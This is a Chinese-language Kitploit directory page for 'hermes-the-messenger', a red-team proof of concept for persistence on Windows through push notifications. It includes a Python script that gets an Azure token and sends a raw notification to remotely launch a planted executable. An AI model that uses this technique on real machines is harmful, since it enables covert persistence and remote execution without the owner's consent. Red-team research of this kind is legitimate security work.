Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
hermes-the-messenger — 一个通过 Windows 上的推送通知实现持久化的 PoC | Kitploit
工具/GitHubGitHub/persistent-security/hermes-the-messenger
持久化机制后渗透利用命令与控制红队
GitHubpersistent-security/hermes-the-messenger

hermes-the-messenger

一个通过 Windows 上的推送通知实现持久化的 PoC

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
4843年前Kitploit 审核通过

Hermes 信使

一个通过 Windows 推送通知实现持久化的 PoC

更多技术细节和背景信息,请阅读我们的博客文章:https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence

使用方法

在开始之前,你需要先 设置 Azure。然后,你需要运行一次该可执行文件,以便其自行注册推送通知。你只需将 Azure 应用的对象 ID 作为参数传入,如果一切顺利,它会打印 Microsoft 返回的通道 Uri。此时你就可以关闭该应用了。

root@kitploit:~
hermes.exe <object_id>

如果未安装 SDK 1.3,该二进制文件将尝试连同必要的扩展一起部署它。

获得通道 Uri 后,你可以尝试从另一台机器远程启动你的可执行文件,只需使用你租户的详细信息调用通知 API,然后静待奇迹发生:

root@kitploit:~
import requests

secret = "4r8Q~XW6U_PmJYg6Eu_jV22DWlsnhyJBIrdpV"
app_id = "CA899E11-71CF-4DB3-962C-0EA65151C132" #not the object id but the Azure app id
tenant_id = "E83F2382-F012-475A-9A4C-30545F429FB7"
channel_uri = "https://wns2-am3p.notify.windows.com/?token=AwYAAAAiYI4p...."

def send_notification(secret, app_id, tenant_id, channel_uri, notification_data):
    # Acquire token
    url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    data = {
        'grant_type': 'client_credentials',
        'client_id': app_id,
        'client_secret': secret,
        'scope': 'https://wns.windows.com/.default'
    }
    response = requests.post(url, headers=headers, data=data)
    response_json = response.json()
    token = response_json['access_token']

    # Send notification
    headers = {
        'Content-Type': 'application/octet-stream',
        'Authorization': f'Bearer {token}',
        'X-WNS-Type': 'wns/raw',
    }
    response = requests.post(channel_uri, headers=headers, data=notification_data)
    return response.status_code, response.text
	
	
send_notification(secret, app_id, tenant_id, channel_uri, "This is a notification")

演示

https://github.com/persistent-security/hermes-the-messenger/assets/134269747/1de3afdc-79dc-4de6-827b-6acba44f910b

下载工具